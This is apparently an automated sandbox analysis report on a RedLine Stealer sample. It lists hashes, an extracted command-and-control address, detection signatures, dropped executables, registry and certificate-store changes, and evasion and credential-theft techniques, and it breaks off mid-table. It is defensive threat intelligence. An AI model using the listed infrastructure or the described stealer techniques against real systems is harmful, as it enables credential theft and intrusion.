redline | 43f2b1760660ae09452c80f028390add8d8b2d95920d608e45c191f883167682

Analysis

max time kernel
25s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20/02/2022, 19:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
362592241e15293c68d0f24468723bbb.exe
Size 206KB
Sample220220-x5hapscgdm
SHA256 43f2b1760660ae09452c80f028390add8d8b2d95920d608e45c191f883167682
MD5 362592241e15293c68d0f24468723bbb
SHA1 99b0b0506c746fbf7dd23c684dcc1d81a6f78e98
SHA512 3e01c2c034a1398bdfd77459598746020af60c7adadf2c76039c4b727755abd6dd15b3a97df3214ce6e5ad0cbb08398b11a173ce87da9ab563754d3acc4aa56e
MD5 SHA1 SHA512

Score

10^/10

redline paps evasion infostealer spyware stealer suricata themida trojan upx

Malware Config

Extracted

Family

redline

Botnet

paps

65.108.27.131:45256

Attributes

auth_value
c7b06cfdce3af6496f70c3f411db6722

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 22 IoCs

resource	yara_rule
behavioral2/memory/3508-174-0x00000000008C0000-0x0000000000AF1000-memory.dmp	family_redline
behavioral2/memory/3508-168-0x00000000008C2000-0x00000000008F8000-memory.dmp	family_redline
behavioral2/memory/3508-165-0x00000000008C2000-0x00000000008F8000-memory.dmp	family_redline
behavioral2/memory/3508-157-0x00000000008C0000-0x0000000000AF1000-memory.dmp	family_redline
behavioral2/memory/3852-225-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4716-228-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/3852-230-0x0000000000E12000-0x0000000000E47000-memory.dmp	family_redline
behavioral2/memory/1808-238-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4716-255-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4716-261-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/1808-271-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4132-285-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4132-280-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4132-273-0x0000000000E12000-0x0000000000E47000-memory.dmp	family_redline
behavioral2/memory/1808-266-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/3852-262-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/3852-256-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/4132-249-0x0000000000E12000-0x0000000000E47000-memory.dmp	family_redline
behavioral2/memory/4132-244-0x0000000000E10000-0x0000000000FA3000-memory.dmp	family_redline
behavioral2/memory/1360-381-0x0000000003B00000-0x0000000003B2F000-memory.dmp	family_redline
behavioral2/memory/3452-420-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/2580-422-0x0000000000090000-0x0000000000223000-memory.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4228 created 1360	4228	WerFault.exe	77
PID 4184 created 1180	4184	WerFault.exe	78

suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata: ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious
suricata
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata: ET MALWARE Win32/Spy.Socelars.S CnC Activity M3
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
Downloads MZ/PE file

Executes dropped EXE 20 IoCs

pid	Process
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
916	ybATIJv2JNVzsQmaH_k0hee5.exe
1360	_2j9n9Sg1sfsMaC6adG928V7.exe
3688	1Bb7NhHICwTNdF78cG4tpup4.exe
336	WsiACXB0z9IzkCkiT5XsdipR.exe
3508	9HnzJKlZhlHJuaV939x9saBu.exe
3260	ePWlDzG0jxMyRWvjHT9HCLB9.exe
2936	XKPbEEoNZqW2d7EN7HkHJLqH.exe
732	4hic6NEP3EyLVLuSW3m03IiI.exe
1180	Wk0rVxYSRRtjv30btRFoaQwU.exe
3372	FmaLBQSqzd88yK9MTnMjpMfu.exe
2272	iuAgBhMqO6zWlS8fIvzUqDPi.exe
3212	jS_epXXSsobJNhPZtg9wGJjS.exe
3528	ICiN9KAz7v4cr5IpiP9_4vSn.exe
2792	IZwhRf5QGCz0vVgCfAgMPXyL.exe
4172	cmd.exe
4320	igCzJYNA3KKRqyr4McjUoUhK.exe
4328	_HKgHvLMFwfEgXKmIbasSoKd.tmp
4408	umCl_CK3aERAltsYKgxwTt86.exe
4472	Install.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00050000000216d5-139.dat	upx
behavioral2/files/0x00050000000216d5-138.dat	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	362592241e15293c68d0f24468723bbb.exe
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	Install.exe

Loads dropped DLL 1 IoCs

pid	Process
4328	_HKgHvLMFwfEgXKmIbasSoKd.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x00060000000220e8-198.dat	themida
behavioral2/memory/4728-211-0x00000000008C0000-0x0000000000C83000-memory.dmp	themida
behavioral2/files/0x00060000000220e8-203.dat	themida
behavioral2/memory/4728-215-0x00000000008C0000-0x0000000000C83000-memory.dmp	themida
behavioral2/memory/4880-418-0x0000000000DD0000-0x00000000011A4000-memory.dmp	themida
behavioral2/memory/4880-419-0x0000000000DD0000-0x00000000011A4000-memory.dmp	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 6 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
186	ipinfo.io
187	ipinfo.io
246	ip-api.com
39	ipinfo.io
40	ipinfo.io
123	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3508	9HnzJKlZhlHJuaV939x9saBu.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 20 IoCs

pid	pid_target	Process	procid_target
4496	1180	WerFault.exe	78
4484	1360	WerFault.exe	77
4792	732	WerFault.exe	104
4784	2936	WerFault.exe	105
4608	1180	WerFault.exe	78
4748	2936	WerFault.exe	105
4896	732	WerFault.exe	104
816	2272	WerFault.exe	99
3472	2272	WerFault.exe	99
536	2272	WerFault.exe	99
3756	3372	WerFault.exe	100
5080	2272	WerFault.exe	99
4344	2272	WerFault.exe	99
2816	2272	WerFault.exe	99
3744	2272	WerFault.exe	99
4624	2272	WerFault.exe	99
1928	2272	WerFault.exe	99
968	4480	WerFault.exe	181
4380	4480	WerFault.exe	181
1348	4480	WerFault.exe	181

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4468	schtasks.exe
968	schtasks.exe
4708	schtasks.exe
4744	schtasks.exe
4656	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3672	taskkill.exe

Modifies data under HKEY_USERS 53 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "8.334316"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.000000"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLinkLocalBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "4"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyGroupBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthID = "2"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyInternetBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "90228624"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4168"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\GeoVersion_EndpointFullUri = "https://geover.prod.do.dsp.mp.microsoft.com/geoversion"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "6.249533"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4356"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132900351766916613"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateBkBps = "1157726"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Install.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Install.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1744	362592241e15293c68d0f24468723bbb.exe
1744	362592241e15293c68d0f24468723bbb.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe
3312	vS_i1CVbhYqW4XoOtKq9d4de.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe
Token: SeRestorePrivilege	3144	TiWorker.exe
Token: SeSecurityPrivilege	3144	TiWorker.exe
Token: SeBackupPrivilege	3144	TiWorker.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 3312	1744	362592241e15293c68d0f24468723bbb.exe	71
PID 1744 wrote to memory of 3312	1744	362592241e15293c68d0f24468723bbb.exe	71
PID 1744 wrote to memory of 916	1744	362592241e15293c68d0f24468723bbb.exe	76
PID 1744 wrote to memory of 916	1744	362592241e15293c68d0f24468723bbb.exe	76
PID 1744 wrote to memory of 916	1744	362592241e15293c68d0f24468723bbb.exe	76
